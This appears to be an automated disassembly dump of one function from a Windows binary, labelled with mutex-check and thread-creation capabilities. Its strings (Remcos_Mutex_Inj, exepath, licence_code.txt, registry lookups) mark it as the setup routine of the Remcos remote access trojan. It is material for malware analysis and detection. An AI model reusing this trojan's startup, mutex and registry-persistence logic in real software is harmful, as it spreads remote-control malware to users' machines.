Function at 0xc8d1f
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.000c9832
sub esp, 0xc
lea eax, [ebp - 0x15]
mov ecx, esp
push eax
push dword [0xda154]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [ebp - 0x28]
push eax
call fcn.000d23ad
add esp, 0x24
mov esi, 0xdac88
mov ecx, esi
push eax
call fcn.000ca0f4
lea ecx, [ebp - 0x28]
call fcn.000c17dd
mov edi, dword [ebp + 0x10]
mov eax, 0xd562c
xor ebx, ebx
mov dl, byte [edi]
mov cl, dl
cmp dl, byte [eax]
jne 0xc8da5
cmp cl, bl
je 0xc8da1
mov dl, byte [edi + 1]
mov cl, dl
cmp dl, byte [eax + 1]
jne 0xc8da5
inc edi
inc edi
inc eax
inc eax
cmp cl, bl
jne 0xc8d83
xor eax, eax
jmp 0xc8daa
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0xc8e0d
push 1
push 0x12
push str.licence_code.txt
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
push 0x34
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
pop ecx
pop ecx
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
pop eax
jmp 0xc982b
push 3
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 0xd4768
push 0xe
mov ecx, esi
setne al
mov byte [0xdaa11], al
call fcn.000c180c
push eax
lea eax, [ebp - 0x10]
push str.Software_
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov edi, 0xdaa30
mov ecx, edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push 0x32
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
push ebx
push 0x33
mov ecx, esi
setne al
mov byte [0xdad5c], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
setne al
cmp byte [0xdad5c], bl
mov byte [0xdad40], al
je 0xc8efe
lea eax, [ebp + 0x10]
mov ecx, edi
push eax
push 0xd5608
mov dword [ebp + 0x10], ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb341
add esp, 0x10
test al, al
je 0xc8efe
push 0xd5608
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb7d4
push dword [ebp + 0x10]
call fcn.000ca893
add esp, 0x10
push str.Remcos_Mutex_Inj
push ebx
push 0x100000
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0xc8f2e
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
push 0xd55f0
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb341
add esp, 0x10
test al, al
je 0xc8f6c
push 0xd55f0
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb7d4
add esp, 0xc
push 0xe
mov ecx, esi
call fcn.000c180c
push eax
mov ecx, 0xdacc0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, 0xdacc0
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0xc8fab
push 1
pop ebx
jmp 0xc9820
call fcn.000c9917
push 0x104
push str.C:3de7bc0abfcc668a.cpl
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.000d24ad
push ebx
mov byte [0xdb090], al
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea eax, [ebp - 0x10]
push 0x80000002
push eax
call fcn.000cb39b
add esp, 0x14
mov ecx, 0xdacb0
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp byte [0xdb090], bl
je 0xc900b
push str.__64_bit_
jmp 0xc9010
push str.__32_bit_
mov ecx, 0xdacb0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov eax, dword [0xdac78]
cmp eax, ebx
je 0xc902b
call eax
mov dword [0xda15c], eax
cmp dword [ebp - 0x14], ebx
jne 0xc909b
push 0x2e
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0xc909b
cmp dword [0xdac78], ebx
je 0xc909b
cmp dword [0xda15c], ebx
je 0xc9077
push ebx
push 0xd4f10
mov ecx, 0xdacb0
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp dword [ecx], eax
jne 0xc909b
call fcn.000c3173
jmp 0xc909b
push str.origmsc
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb2f8
add esp, 0xc
test al, al
jne 0xc909b
call fcn.000c3067
push 0x27
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0xc90b5
call fcn.000ca09c
push 0xb
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2243
pop ecx
pop ecx
push eax
mov ecx, 0xdaa40
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 4
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 5
mov ecx, esi
setne al
mov byte [0xdaa50], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 6
mov ecx, esi
setne al
mov byte [0xdac5d], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 7
mov ecx, esi
setne al
mov byte [0xdac5c], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 8
mov ecx, esi
setne al
mov byte [0xdaa28], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 3
mov ecx, esi
setne al
mov byte [0xdaa10], al
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0xc920f
push 0x30
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
mov edi, eax
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp edi, ebx
je 0xc920f
push 0x30
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2fdc
add esp, 0xc
mov ecx, 0xdac60
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp dword [ebp - 0x14], ebx
jne 0xc93d6
cmp byte [0xdaa11], bl
mov edi, 0xdaa18
je 0xc92c3
push 0x1e
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xc
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xa
call fcn.000c180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x30
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
call fcn.000c7e18
add esp, 0x14
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
jmp 0xc92d0
push str.C:3de7bc0abfcc668a.cpl
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_wcscpy]
pop ecx
pop ecx
push 3
mov ecx, 0xdac98
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, 0xdac98
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
mov ecx, 0xdaa30
push eax
push dword [ebp + 0x10]
push str.exepath
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb771
push dword [ebp + 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x24
lea eax, [ebp + 0x13]
mov ecx, esi
push 1
sub esp, 0x10
mov edi, esp
push eax
push 0x34
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.licence
mov ecx, 0xdaa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb581
add esp, 0x20
mov ecx, esi
push 0xd4a8c
push 0xd
call fcn.000c180c
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0xc9441
push 0xd
mov ecx, esi
call fcn.000c180c
sub esp, 0x10
mov ecx, esp
push eax
push ecx
call fcn.000d2157
pop ecx
pop ecx
call fcn.000c99ea
add esp, 0x10
cmp al, 1
jne 0xc9441
push 3
jmp 0xc8fa5
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x2ea]
mov word [ebp - 0x2ec], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0xdac98
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x2ec]
push 0x208
push eax
push str.exepath
mov ecx, 0xdaa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.000cb50b
add esp, 0x1c
lea eax, [ebp - 0x2ec]
mov ecx, 0xdaa18
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
push 0x28
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp al, 2
pop ecx
mov byte [0xdac80], al
jne 0xc946d
push 1
jmp 0xc9472
cmp al, 1
jne 0xc9484
push ebx
call fcn.000d3737
pop ecx
push ebx
push ebx
push ebx
push 0xd3509
push ebx
push ebx
call edi
push 0xf
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov al, byte [eax]
lea ecx, [ebp - 0x48]
mov byte [0xda158], al
lea eax, [ebp + 0x13]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::allocator_unsigned_short_int__const__]
push 0xd47f4
push 0x31
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2243
pop ecx
pop ecx
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
mov byte [ebp + 0x13], al
pop ecx
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp + 0x13], bl
je 0xc9536
push 0x11
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2fdc
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
jmp 0xc95ea
push 0x31
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.000d2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.000d2fdc
add esp, 0xc
mov ecx, 0xda954
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x11
mov ecx, esi
call fcn.000c180c
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.000d2243
pop ecx
pop ecx
push eax
push 0xd4994
lea eax, [ebp - 0x28]
push 0xda954
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x36
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0x3e8
cdq
mov dword [0xda978], eax
pop ecx
movsx eax, byte [0xda158]
sub eax, 0x31
mov dword [0xda97c], edx
je 0xc9645
dec eax
jne 0xc965e
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0xda8f0
call fcn.000c50a2
jmp 0xc965e
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0xda8f0
call fcn.000c4fef
push 0x14
mov ecx, esi
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0xc96a9
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], bl
call fcn.000c180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
